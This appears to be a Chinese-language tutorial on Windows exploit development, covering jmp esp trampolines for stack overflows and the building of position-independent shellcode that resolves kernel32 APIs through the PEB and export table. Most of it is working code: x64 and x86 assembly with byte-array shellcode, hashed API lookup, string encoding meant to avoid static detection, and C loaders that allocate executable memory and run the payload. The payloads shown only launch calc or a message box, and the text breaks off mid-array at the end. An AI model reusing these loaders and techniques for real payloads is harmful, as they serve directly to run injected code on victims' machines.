?

一、定位shellcode

在實際漏洞利用過程中,由于動態鏈接庫的裝入和卸載等原因,Windows進程的函數棧幀很有可能會產生”位移“,即shellcode在內存中的地址是動態變化的。因此我們需要找到一個跳板,使得程序的執行流程總是能找到我們的shellcode。

jmp esp

在上一節中verify_password函數返回后棧中的情況如下所示:

  • 實線體現了代碼植入的流程:將返回地址淹沒為我們手工查出的shellcode起始地址 0x0012FAF0,函數返回時,這個地址被彈入EIP寄存器中,處理器按照EIP寄存器中的地址取指令,最后棧中的數據被處理器當成指令執行。
  • 虛線則點出了這樣一個細節:在函數返回時候,ESP恰好只想棧幀中返回地址的后一個位置。

圖一 棧幀位移示意圖

圖二 溢出發生時棧、寄存器與代碼之間的關系

一般情況下,ESP寄存器中的地址總是指向系統棧中且不會被溢出的數據破壞。函數返回時,ESP所指的位置恰好是我們所淹沒的返回地址的下一個位置,如圖三。

圖三 使用"跳板"的溢出利用流程

由于ESP寄存器在函數返回后不被溢出數據干擾,且始終指向返回地址之后的位置,我們就可以使用圖三所示的這種定位shellcode的方法來進行動態定位。

  1. 用內存中的任意一個jmp esp指令的地址覆蓋函數的返回地址,而不是用原來的手工查詢出的shellcode起始地址直接覆蓋。
  2. 函數返回地址被重定向去執行內存中的這條jmp esp指令,而不是直接開始執行shellcode。
  3. 由于ESP在函數返回時仍指向棧區(函數返回地址之后),jmp esp指令被執行后,處理器會到棧區函數返回地址之后的地方取指令執行。
  4. 重新布置shellcode。在淹沒函數返回地址后,繼續淹沒一片棧空間。將緩沖區前邊一段地方用任意數據填充,把shellcode恰好擺放在函數返回地址之后。這樣,jmp esp指令執行過后會恰好跳進shellcode。

這種定位shellcode的方法使用進程空間里的一條 jmp esp指令作為"跳板",無論棧幀怎么"位移",都能精確地跳回棧區,從而適應程序運行中shellcode內存地址的動態變化。

當然這只是一種定位shellcode的方式,還有其他許多種定位shellcode的方式。

二、開發通用shellcode

環境:

操作系統: Windows 10 x64編譯器:   vs 2019

定位shellcode使用API的原理

通過手工查出來的API地址會在其他計算機上失效,在shellcode中使用靜態函數地址來調用API會使exploit的額通用性收到很大的限制,所以,實際中使用的shellcode必須還要能動態地獲得自身所需的API的函數地址。

Windows的API是通過動態鏈接庫中的導出函數來實現的,例如,內存操作等函數在kernel32.dll中實現;大量的圖形界面相關的API則在user32.dll中實現。Win32平臺下的shellcode使用最廣泛的方法,就是通過從進程環境塊中找到動態鏈接庫的導出表,并搜索出所需的API地址,然后逐一調用。

幾乎所有Win32程序都會加載ntdll.dll和kernel32.dll這兩個基礎的動態鏈接庫。如果想要在win_32平臺下定位kernel32.dll中的API地址,可以采取如下辦法。

64位系統

  1. 首先通過選擇字GS在內存中找到當前存放著指向當前線程環境塊TEB。在GS中存儲的是TEB在GDT(Global Descriptor Table)中的序號,通過GDT獲取TEB的基址。
  2. 線程環境塊偏移位置為0x60的地方存放著指向進程環境塊PEB的指針(即GS[0x30])。
  3. 進程環境塊中偏移位置為0x18的地方存放著指向PEB_LDR_DATA結構體的指針,其中,存放著已經被進程裝載的動態鏈接庫的信息。
  4. PEB_LDR_DATA結構體偏移位置為0x20 的地方存放著指向模塊初始化鏈表的頭指針 InInitializationOrderModuleList。
  5. 模塊初始化鏈表 InInitializationOrderModuleList中按順序存放著 PE 裝入運行時初始化模塊的信息,第一個鏈表結點是 ntdll.dll,第二個鏈表結點就是 kernelbase.dll,第三個節點才是kernel32.dll。
  6. 找到屬于kernel32.dll的結點后,在其基礎上再偏移 0x20 就是 kernel32.dll在內存中的加載基地址。
  7. 從kernel32.dll的加載基址算起,偏移0x3C的地方就是其PE頭。
  8. PE 頭偏移 0x88 的地方存放著指向函數導出表的指針。

32位系統

  1. 首先通過選擇字FS在內存中找到當前存放著指向當前線程環境塊TEB。在FS中存儲的是TEB在GDT(Global Descriptor Table)中的序號,通過GDT獲取TEB的基址。
  2. 線程環境塊偏移位置為0x30的地方存放著指向進程環境塊PEB的指針(即FS[0x30])。
  3. 進程環境塊中偏移位置為0x0C的地方存放著指向PEB_LDR_DATA結構體的指針,其中,存放著已經被進程裝載的動態鏈接庫的信息。
  4. PEB_LDR_DATA結構體偏移位置為0x1C 的地方存放著指向模塊初始化鏈表的頭指針 InInitializationOrderModuleList。
  5. 模塊初始化鏈表 InInitializationOrderModuleList中按順序存放著 PE 裝入運行時初始化模塊的信息,第一個鏈表結點是 ntdll.dll,第二個鏈表結點就是 kernel32.dll。
  6. 找到屬于kernel32.dll的結點后,在其基礎上再偏移 0x08 就是 kernel32.dll在內存中的加載基地址。
  7. 從kernel32.dll的加載基址算起,偏移0x3C的地方就是其PE頭。
  8. PE 頭偏移 0x78 的地方存放著指向函數導出表的指針。
  9. 至此,我們可以按如下方式在函數導出表中算出所需函數的入口地址,如圖四所示。

圖四 在shellcode中動態定位API的原理

代碼實現

使用匯編生成shellcode

x64 彈出計算器shellcode

/*; Get kernel32.dll base addressxor rdi, rdi            ; RDI = 0x0mul rdi                 ; RAX&RDX =0x0mov rbx, gs:[rax+0x60]  ; RBX = Address_of_PEBmov rbx, [rbx+0x18]     ; RBX = Address_of_LDRmov rbx, [rbx+0x20]     ; RBX = 1st entry in InitOrderModuleList / ntdll.dllmov rbx, [rbx]          ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dllmov rbx, [rbx]          ; RBX = 3rd entry in InitOrderModuleList / kernel32.dllmov rbx, [rbx+0x20]     ; RBX = &kernel32.dll ( Base Address of kernel32.dll)mov r8, rbx             ; RBX & R8 = &kernel32.dll ; Get kernel32.dll ExportTable Addressmov ebx, [rbx+0x3C]     ; RBX = Offset NewEXEHeaderadd rbx, r8             ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeaderxor rcx, rcx            ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to addadd cx, 0x88ffshr rcx, 0x8            ; RCX = 0x88ff --> 0x88mov edx, [rbx+rcx]      ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTableadd rdx, r8             ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable ; Get &AddressTable from Kernel32.dll ExportTablexor r10, r10mov r10d, [rdx+0x1C]    ; RDI = RVA AddressTableadd r10, r8             ; R10 = &AddressTable ; Get &NamePointerTable from Kernel32.dll ExportTablexor r11, r11mov r11d, [rdx+0x20]    ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTableadd r11, r8             ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable) ; Get &OrdinalTable from Kernel32.dll ExportTablexor r12, r12mov r12d, [rdx+0x24]    ; R12 = RVA  OrdinalTableadd r12, r8             ; R12 = &OrdinalTable jmp short apis ; Get the address of the API from the Kernel32.dll ExportTablegetapiaddr:pop rbx                 ; save the return address for ret 2 caller after API address is foundpop rcx                 ; Get the string length counter from stackxor rax, rax            ; Setup Counter for resolving the API Address after finding the name stringmov rdx, rsp            ; RDX = Address of API Name String to match on the Stackpush rcx                ; push the string length counter to stackloop:mov rcx, [rsp]          ; reset the string length counter from the stackxor rdi,rdi             ; Clear RDI for setting up string name retrievalmov edi, [r11+rax*4]    ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]add rdi, r8             ; RDI = &NameString    = RVA NameString + &kernel32.dllmov rsi, rdx            ; RSI = Address of API Name String to match on the Stack  (reset to start of string)repe cmpsb              ; Compare strings at RDI & RSIje resolveaddr          ; If match then we found the API string. Now we need to find the Address of the APIincloop:inc raxjmp short loop ; Find the address of GetProcAddress by using the last value of the Counterresolveaddr:pop rcx                 ; remove string length counter from top of stackmov ax, [r12+rax*2]     ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.mov eax, [r10+rax*4]    ; RAX = RVA API = [&AddressTable + API OrdinalNumber]add rax, r8             ; RAX = Kernel32. = RVA kernel32. + kernel32.dll BaseAddresspush rbx                ; place the return address from the api string call back on the top of the stackret                     ; return to API caller apis:                   ; API Names to resolve addresses; WinExec | String length : 7xor rcx, rcxadd cl, 0x7                 ; String length for compare stringmov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExecnot rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysisshr rax, 0x8                ; xEcoll,0xFFFF --> 0x0000,xEcollpush raxpush rcx                    ; push the string length counter to stackcall getapiaddr             ; Get the address of the API from Kernel32.dll ExportTablemov r14, rax                ; R14 = Kernel32.WinExec Address ; UINT WinExec(;   LPCSTR lpCmdLine,    => RCX = "calc.exe",0x0;   UINT   uCmdShow      => RDX = 0x1 = SW_SHOWNORMAL; );xor rcx, rcxmul rcx                     ; RAX & RDX & RCX = 0x0; calc.exe | String length : 8push rax                    ; Null terminate string on stackmov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"not rax;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163push rax                    ; RSP = "calc.exe",0x0mov rcx, rsp                ; RCX = "calc.exe",0x0inc rdx                     ; RDX = 0x1 = SW_SHOWNORMALsub rsp, 0x20               ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)call r14                    ; Call WinExec("calc.exe", SW_HIDE)  */ #include void main() {  void* exec;  BOOL rv;  HANDLE th;  DWORD oldprotect = 0;  // Shellcode  unsigned char payload[] =    "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"    "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"    "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"    "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"    "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"    "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"    "\x48\x83\xec\x20\x41\xff\xd6";  unsigned int payload_len = 205;  exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);  RtlMoveMemory(exec, payload, payload_len);  rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);  th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);  WaitForSingleObject(th, -1);}

x86 彈出計算器shellcode

/*start:                                       mov   ebp, esp                  ;     prologue   add   esp, 0xfffff9f0           ;     Add space int ESP to avoid clobbering   find_kernel32:                         xor   ecx, ecx                  ;     ECX = 0   mov   esi,fs:[ecx+0x30]         ;     ESI = &(PEB) ([FS:0x30])   mov   esi,[esi+0x0C]            ;     ESI = PEB->Ldr   mov   esi,[esi+0x1C]            ;     ESI = PEB->Ldr.InInitOrder  next_module:                           mov   ebx, [esi+0x08]           ;     EBX = InInitOrder[X].base_address   mov   edi, [esi+0x20]           ;     EDI = InInitOrder[X].module_name   mov   esi, [esi]                ;     ESI = InInitOrder[X].flink (next)   cmp   [edi+12*2], cx            ;    (unicode) modulename[12] == 0x00 ?   jne   next_module               ;     No: try next module  find_function_shorten:                 jmp find_function_shorten_bnc   ;     Short jump  find_function_ret:                     pop esi                         ;     POP the return address from the stack   mov   [ebp+0x04], esi           ;     Save find_function address for later usage   jmp resolve_symbols_kernel32    ;   find_function_shorten_bnc:                call find_function_ret          ;     Relative CALL with negative offset  find_function:                         pushad                          ;     Save all registers    mov   eax, [ebx+0x3c]           ;     Offset to PE Signature   mov   edi, [ebx+eax+0x78]       ;     Export Table Directory RVA   add   edi, ebx                  ;     Export Table Directory VMA   mov   ecx, [edi+0x18]           ;     NumberOfNames   mov   eax, [edi+0x20]           ;     AddressOfNames RVA   add   eax, ebx                  ;     AddressOfNames VMA   mov   [ebp-4], eax              ;     Save AddressOfNames VMA for later  find_function_loop:                    jecxz find_function_finished    ;     Jump to the end if ECX is 0   dec   ecx                       ;     Decrement our names counter   mov   eax, [ebp-4]              ;     Restore AddressOfNames VMA   mov   esi, [eax+ecx*4]          ;     Get the RVA of the symbol name   add   esi, ebx                  ;     Set ESI to the VMA of the current symbol name  compute_hash:                          xor   eax, eax                  ;     NULL EAX   cdq                             ;     NULL EDX   cld                             ;     Clear direction  compute_hash_again:                    lodsb                           ;     Load the next byte from esi into al   test  al, al                    ;     Check for NULL terminator   jz    compute_hash_finished     ;     If the ZF is set, we've hit the NULL term   ror   edx, 0x0d                 ;     Rotate edx 13 bits to the right   add   edx, eax                  ;     Add the new byte to the accumulator   jmp   compute_hash_again        ;     Next iteration  compute_hash_finished:               find_function_compare:                cmp   edx, [esp+0x24]           ;     Compare the computed hash with the requested hash   jnz   find_function_loop        ;     If it doesn't match go back to find_function_loop   mov   edx, [edi+0x24]           ;     AddressOfNameOrdinals RVA   add   edx, ebx                  ;     AddressOfNameOrdinals VMA   mov   cx,  [edx+2*ecx]          ;     Extrapolate the function's ordinal   mov   edx, [edi+0x1c]           ;     AddressOfFunctions RVA   add   edx, ebx                  ;     AddressOfFunctions VMA   mov   eax, [edx+4*ecx]          ;     Get the function RVA   add   eax, ebx                  ;     Get the function VMA   mov   [esp+0x1c], eax           ;     Overwrite stack version of eax from pushad  find_function_finished:                popad                           ;     Restore registers   ret                             ;   resolve_symbols_kernel32:           push 0xe8afe98                  ;     WinExec hash  call dword ptr [ebp+0x04]       ;     Call find_function  mov   [ebp+0x10], eax           ;     Save WinExec address for later usage  push 0x78b5b983                 ;     TerminateProcess hash  call dword ptr [ebp+0x04]       ;     Call find_function  mov   [ebp+0x14], eax           ;     Save TerminateProcess address for later usage  create_calc_string:                   xor eax, eax                   ;      EAX = null  push eax                       ;      Push null-terminated string  push dword 0x6578652e               ;           push dword 0x636c6163          ;      push esp                       ;      ESP = &(lpCmdLine)  pop  ebx                       ;      EBX save pointer to string  ; UINT WinExec( ; LPCSTR lpCmdLine, -> EBX ; UINT   uCmdShow      -> EAX ; );  call_winexec:                           xor eax, eax                   ;    EAX = null    push eax                       ;    uCmdShow    push ebx                       ;    lpCmdLine    call dword ptr [ebp+0x10]      ;    Call WinExec  ; BOOL TerminateProcess( ; HANDLE hProcess,     -> 0xffffffff ; UINT   uExitCode     -> EAX ; );  terminate_process:                      xor eax, eax                   ;    EAX = null    push eax                       ;    uExitCode    push 0xffffffff                ;    hProcess    call dword ptr [ebp+0x14]      ;    Call TerminateProcess  */ #include #include #include #include  // Our WinExec PopCalc shellcode unsigned char payload[] ="\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x5e\x08\x8b\x7e""\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43""\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b""\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75""\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61""\xc3\x68\x98\xfe\x8a\x0e\xff\x55\x04\x89\x45\x10\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x14\x31\xc0""\x50\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x54\x5b\x31\xc0\x50\x53\xff\x55\x10\x31\xc0\x50\x6a\xff""\xff\x55\x14";  unsigned int payload_len = 178; int main(void) {     void * exec_mem;    BOOL rv;    HANDLE th;  DWORD oldprotect = 0;     // Allocate a memory buffer for payload    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);     // Copy payload to new buffer    RtlMoveMemory(exec_mem, payload, payload_len);     // Make new buffer as executable    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);     printf("Hit me!");  printf("Shellcode Length:  %d", strlen(payload));    getchar();     // If all good, run the payload    if ( rv != 0 ) {            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);            WaitForSingleObject(th, -1);    }     return 0;}

使用C生成shellcode

  1. 使用vs創建一個空項目,這里以vs2019 x86 平臺為例。
  2. 右鍵項目屬性。我們需要修改release版本中的一些信息。如下
  • 屬性 -> C/C++ -> 代碼生成 -> 安全檢查->禁用安全檢查 (/GS-)
  • 屬性 -> 鏈接器 -> 清單文件-> 生成清單-> 否 (/MANIFEST:NO)
  • 屬性 -> 鏈接器 -> 調試-> 生成調試信息-> 否

如下所示:

獲取函數hash

通常情況下,我們會對所需的API函數名進行hash運算,在搜索導出表時對當前遇到的函數名也進行同樣的hash,這樣只要比較hash所得的摘要(digest)就能判定是不是我們所需的API了。雖然這種搜索方法需要引入額外的hash算法,但是可以節省出存儲函數名字符串的代碼。

注意:

這里所說的 hash 指的是 hash 算法,是一個運算過程。經過 hash 后得到的值將被稱做摘要,即 digest,請注意。

這里提供一段簡單的 "hash" 算法:

#include #include DWORD GetHash(const char* fun_name){    DWORD digest = 0;    while (*fun_name)    {        digest = ((digest << 25) | (digest >> 7)); //循環右移 7 位        digest += *fun_name; //累加        fun_name++;    }    return digest;}void main(){    DWORD hash;     hash = GetHash("GetProcAddress");    printf("result of hash is 0x%.8x", hash);}
提取shellcode

源碼

#pragma code_seg("shellcode")#include #pragma comment(linker,"/entry:main") void main(){    //the pointer of kernel32.dll base address    DWORD dwKernel32Addr = 0;    _asm {        push eax        mov eax, dword ptr fs:[0x30]        mov eax, [eax + 0x0C]        mov eax,[eax + 0x1C]        mov eax, [eax]        mov eax, [eax + 0x08]        mov dwKernel32Addr, eax        pop eax    }     PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dwKernel32Addr;    PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(dwKernel32Addr + pDosHeader->e_lfanew);     PIMAGE_DATA_DIRECTORY pDataDirectory = pNtHeader->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;     PIMAGE_EXPORT_DIRECTORY pExportFuncTable = (PIMAGE_EXPORT_DIRECTORY)(dwKernel32Addr + pDataDirectory->VirtualAddress);     PDWORD pAddrOfFunc = (PDWORD)(pExportFuncTable->AddressOfFunctions + dwKernel32Addr);     PDWORD pAddrOfFuncNames = (PDWORD)(pExportFuncTable->AddressOfNames + dwKernel32Addr);     PWORD  pAddrOfOrdinals = (PWORD)(pExportFuncTable->AddressOfNameOrdinals + dwKernel32Addr);     DWORD dwFuncGetProcAddress = 0;    for (size_t i = 0; i < pExportFuncTable->NumberOfNames; i++)    {        PCHAR lpFuncName = (PCHAR)(pAddrOfFuncNames[i] + dwKernel32Addr);        DWORD digest = 0;        while (*lpFuncName)        {            digest = ((digest << 25) | (digest >> 7));            digest += *lpFuncName;            lpFuncName++;        }        if (digest == 0xbbafdf85)//0xbbafdf85是經過自定義hash算法得到GetProcAddress函數的摘要        {            dwFuncGetProcAddress = pAddrOfFunc[pAddrOfOrdinals[i]] + dwKernel32Addr;            break;        }    }    /*    如果是彈窗彈窗,這里我們需要 : LoadLibraryExA、MessageBoxA、ExitProcess、user32.dll    */     /*    定義函數指針GetProcAddress    */    typedef    FARPROC (WINAPI *funcGetProcAddress)(                HMODULE hModule,                LPCSTR lpProcName            );     funcGetProcAddress pfuncGetProcAddress = (funcGetProcAddress)dwFuncGetProcAddress;     /*    LoadLibraryExA 函數指針獲取    */    typedef HMODULE (WINAPI *funcLoadLibraryExA)(             LPCSTR lpLibFileName,             HANDLE hFile,             DWORD dwFlags        );     //如果采用字符串模式,其字符串會被放入數據段,使用的每次加載地址都不一樣,    char szLoadLibraryExA[] = { 'L','o','a','d','L','i','b','r','a','r','y','E','x','A','\0' };    char szUser32[] = { 'u','s','e','r','3','2','.','d','l','l','\0' };    char szMessageBoxA[] = { 'M','e','s','s','a','g','e','B','o','x','A','\0' };    char szExitProcess[] = { 'E','x','i','t','P','r','o','c','e','s','s','\0' };     funcLoadLibraryExA pfuncLoadLibraryExA = (funcLoadLibraryExA)(pfuncGetProcAddress((HMODULE)dwKernel32Addr,szLoadLibraryExA));     /*    ExitProcess函數指針    */    typedef    VOID    (WINAPI *funcExitProcess)(            _In_ UINT uExitCode            );     funcExitProcess pfuncExitProcess = (funcExitProcess)(pfuncGetProcAddress((HMODULE)dwKernel32Addr, szExitProcess));     /*    * 加載user32.dll 和messagebox    */     typedef int    (WINAPI    *funcMessageBoxA)(        _In_opt_ HWND hWnd,        _In_opt_ LPCSTR lpText,        _In_opt_ LPCSTR lpCaption,        _In_ UINT uType);     funcMessageBoxA pfuncMessageBoxA = (funcMessageBoxA)(pfuncGetProcAddress((HMODULE)(pfuncLoadLibraryExA(szUser32, NULL, NULL)), szMessageBoxA));     char szContext[] = {'t','h','i','s',' ','i','s',' ','a',' ','t','e','s','t','\0' };    char szTitle[] = { 't','e','s','t','\0' };     pfuncMessageBoxA(NULL, szContext, szTitle, MB_OK);    pfuncExitProcess(0);}

編譯成功之后,程序正常運行:

將程序拖入OD,按F9進入程序模塊,如圖所示:

然后從第一行開始,下拉到空白區選中 右鍵 復制 二進制復制。然后再在010editor中粘貼自 從十六進制文本粘貼。

如下圖:

選中然后復制為c代碼:

這樣就得到了我們的shellcode

unsigned char hexData[351] = {    0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x5C, 0x53, 0x56,    0x57, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00,    0x50, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B,    0x40, 0x0C, 0x8B, 0x40, 0x1C, 0x8B, 0x00, 0x8B,    0x40, 0x08, 0x89, 0x45, 0xFC, 0x58, 0x8B, 0x7D,    0xFC, 0x33, 0xF6, 0x8B, 0x47, 0x3C, 0x8B, 0x44,    0x38, 0x78, 0x03, 0xC7, 0x8B, 0x48, 0x1C, 0x8B,    0x50, 0x24, 0x03, 0xCF, 0x8B, 0x58, 0x18, 0x03,    0xD7, 0x89, 0x4D, 0xF0, 0x8B, 0x48, 0x20, 0x03,    0xCF, 0x89, 0x55, 0xF4, 0x89, 0x4D, 0xF8, 0x85,    0xDB, 0x74, 0x41, 0x8B, 0x14, 0xB1, 0x33, 0xC0,    0x8A, 0x0C, 0x3A, 0x03, 0xD7, 0x84, 0xC9, 0x74,    0x18, 0xC1, 0xC8, 0x07, 0x8D, 0x52, 0x01, 0x0F,    0xBE, 0xC9, 0x03, 0xC1, 0x8A, 0x0A, 0x84, 0xC9,    0x75, 0xEF, 0x3D, 0x85, 0xDF, 0xAF, 0xBB, 0x74,    0x0A, 0x46, 0x3B, 0xF3, 0x73, 0x16, 0x8B, 0x4D,    0xF8, 0xEB, 0xD0, 0x8B, 0x45, 0xF4, 0x8B, 0x5D,    0xF0, 0x0F, 0xB7, 0x04, 0x70, 0x8B, 0x1C, 0x83,    0x03, 0xDF, 0xEB, 0x02, 0x33, 0xDB, 0x8D, 0x45,    0xB4, 0xC7, 0x45, 0xB4, 0x4C, 0x6F, 0x61, 0x64,    0x50, 0x57, 0xC7, 0x45, 0xB8, 0x4C, 0x69, 0x62,    0x72, 0xC7, 0x45, 0xBC, 0x61, 0x72, 0x79, 0x45,    0x66, 0xC7, 0x45, 0xC0, 0x78, 0x41, 0xC6, 0x45,    0xC2, 0x00, 0xC7, 0x45, 0xDC, 0x75, 0x73, 0x65,    0x72, 0xC7, 0x45, 0xE0, 0x33, 0x32, 0x2E, 0x64,    0x66, 0xC7, 0x45, 0xE4, 0x6C, 0x6C, 0xC6, 0x45,    0xE6, 0x00, 0xC7, 0x45, 0xC4, 0x4D, 0x65, 0x73,    0x73, 0xC7, 0x45, 0xC8, 0x61, 0x67, 0x65, 0x42,    0xC7, 0x45, 0xCC, 0x6F, 0x78, 0x41, 0x00, 0xC7,    0x45, 0xD0, 0x45, 0x78, 0x69, 0x74, 0xC7, 0x45,    0xD4, 0x50, 0x72, 0x6F, 0x63, 0xC7, 0x45, 0xD8,    0x65, 0x73, 0x73, 0x00, 0xFF, 0xD3, 0x8B, 0xF0,    0x8D, 0x45, 0xD0, 0x50, 0xFF, 0x75, 0xFC, 0xFF,    0xD3, 0x8B, 0xF8, 0x8D, 0x45, 0xC4, 0x50, 0x6A,    0x00, 0x6A, 0x00, 0x8D, 0x45, 0xDC, 0x50, 0xFF,    0xD6, 0x50, 0xFF, 0xD3, 0x6A, 0x00, 0x8D, 0x4D,    0xE8, 0xC7, 0x45, 0xA4, 0x74, 0x68, 0x69, 0x73,    0x51, 0x8D, 0x4D, 0xA4, 0xC7, 0x45, 0xA8, 0x20,    0x69, 0x73, 0x20, 0x51, 0x6A, 0x00, 0xC7, 0x45,    0xAC, 0x61, 0x20, 0x74, 0x65, 0x66, 0xC7, 0x45,    0xB0, 0x73, 0x74, 0xC6, 0x45, 0xB2, 0x00, 0xC7,    0x45, 0xE8, 0x74, 0x65, 0x73, 0x74, 0xC6, 0x45,    0xEC, 0x00, 0xFF, 0xD0, 0x6A, 0x00, 0xFF, 0xD7,    0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3};

在程序中運行我們的shellcode

#include unsigned char hexData[351] = {    0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x5C, 0x53, 0x56,    0x57, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00,    0x50, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B,    0x40, 0x0C, 0x8B, 0x40, 0x1C, 0x8B, 0x00, 0x8B,    0x40, 0x08, 0x89, 0x45, 0xFC, 0x58, 0x8B, 0x7D,    0xFC, 0x33, 0xF6, 0x8B, 0x47, 0x3C, 0x8B, 0x44,    0x38, 0x78, 0x03, 0xC7, 0x8B, 0x48, 0x1C, 0x8B,    0x50, 0x24, 0x03, 0xCF, 0x8B, 0x58, 0x18, 0x03,    0xD7, 0x89, 0x4D, 0xF0, 0x8B, 0x48, 0x20, 0x03,    0xCF, 0x89, 0x55, 0xF4, 0x89, 0x4D, 0xF8, 0x85,    0xDB, 0x74, 0x41, 0x8B, 0x14, 0xB1, 0x33, 0xC0,    0x8A, 0x0C, 0x3A, 0x03, 0xD7, 0x84, 0xC9, 0x74,    0x18, 0xC1, 0xC8, 0x07, 0x8D, 0x52, 0x01, 0x0F,    0xBE, 0xC9, 0x03, 0xC1, 0x8A, 0x0A, 0x84, 0xC9,    0x75, 0xEF, 0x3D, 0x85, 0xDF, 0xAF, 0xBB, 0x74,    0x0A, 0x46, 0x3B, 0xF3, 0x73, 0x16, 0x8B, 0x4D,    0xF8, 0xEB, 0xD0, 0x8B, 0x45, 0xF4, 0x8B, 0x5D,    0xF0, 0x0F, 0xB7, 0x04, 0x70, 0x8B, 0x1C, 0x83,    0x03, 0xDF, 0xEB, 0x02, 0x33, 0xDB, 0x8D, 0x45,    0xB4, 0xC7, 0x45, 0xB4, 0x4C, 0x6F, 0x61, 0x64,    0x50, 0x57, 0xC7, 0x45, 0xB8, 0x4C, 0x69, 0x62,    0x72, 0xC7, 0x45, 0xBC, 0x61, 0x72, 0x79, 0x45,    0x66, 0xC7, 0x45, 0xC0, 0x78, 0x41, 0xC6, 0x45,    0xC2, 0x00, 0xC7, 0x45, 0xDC, 0x75, 0x73, 0x65,    0x72, 0xC7, 0x45, 0xE0, 0x33, 0x32, 0x2E, 0x64,    0x66, 0xC7, 0x45, 0xE4, 0x6C, 0x6C, 0xC6, 0x45,    0xE6, 0x00, 0xC7, 0x45, 0xC4, 0x4D, 0x65, 0x73,    0x73, 0xC7, 0x45, 0xC8, 0x61, 0x67, 0x65, 0x42,    0xC7, 0x45, 0xCC, 0x6F, 0x78, 0x41, 0x00, 0xC7,    0x45, 0xD0, 0x45, 0x78, 0x69, 0x74, 0xC7, 0x45,    0xD4, 0x50, 0x72, 0x6F, 0x63, 0xC7, 0x45, 0xD8,    0x65, 0x73, 0x73, 0x00, 0xFF, 0xD3, 0x8B, 0xF0,    0x8D, 0x45, 0xD0, 0x50, 0xFF, 0x75, 0xFC, 0xFF,    0xD3, 0x8B, 0xF8, 0x8D, 0x45, 0xC4, 0x50, 0x6A,    0x00, 0x6A, 0x00, 0x8D, 0x45, 0xDC, 0x50, 0xFF,    0xD6, 0x50, 0xFF, 0xD3, 0x6A, 0x00, 0x8D, 0x4D,    0xE8, 0xC7, 0x45, 0xA4, 0x74, 0x68, 0x69, 0x73,    0x51, 0x8D, 0x4D, 0xA4, 0xC7, 0x45, 0xA8, 0x20,    0x69, 0x73, 0x20, 0x51, 0x6A, 0x00, 0xC7, 0x45,    0xAC, 0x61, 0x20, 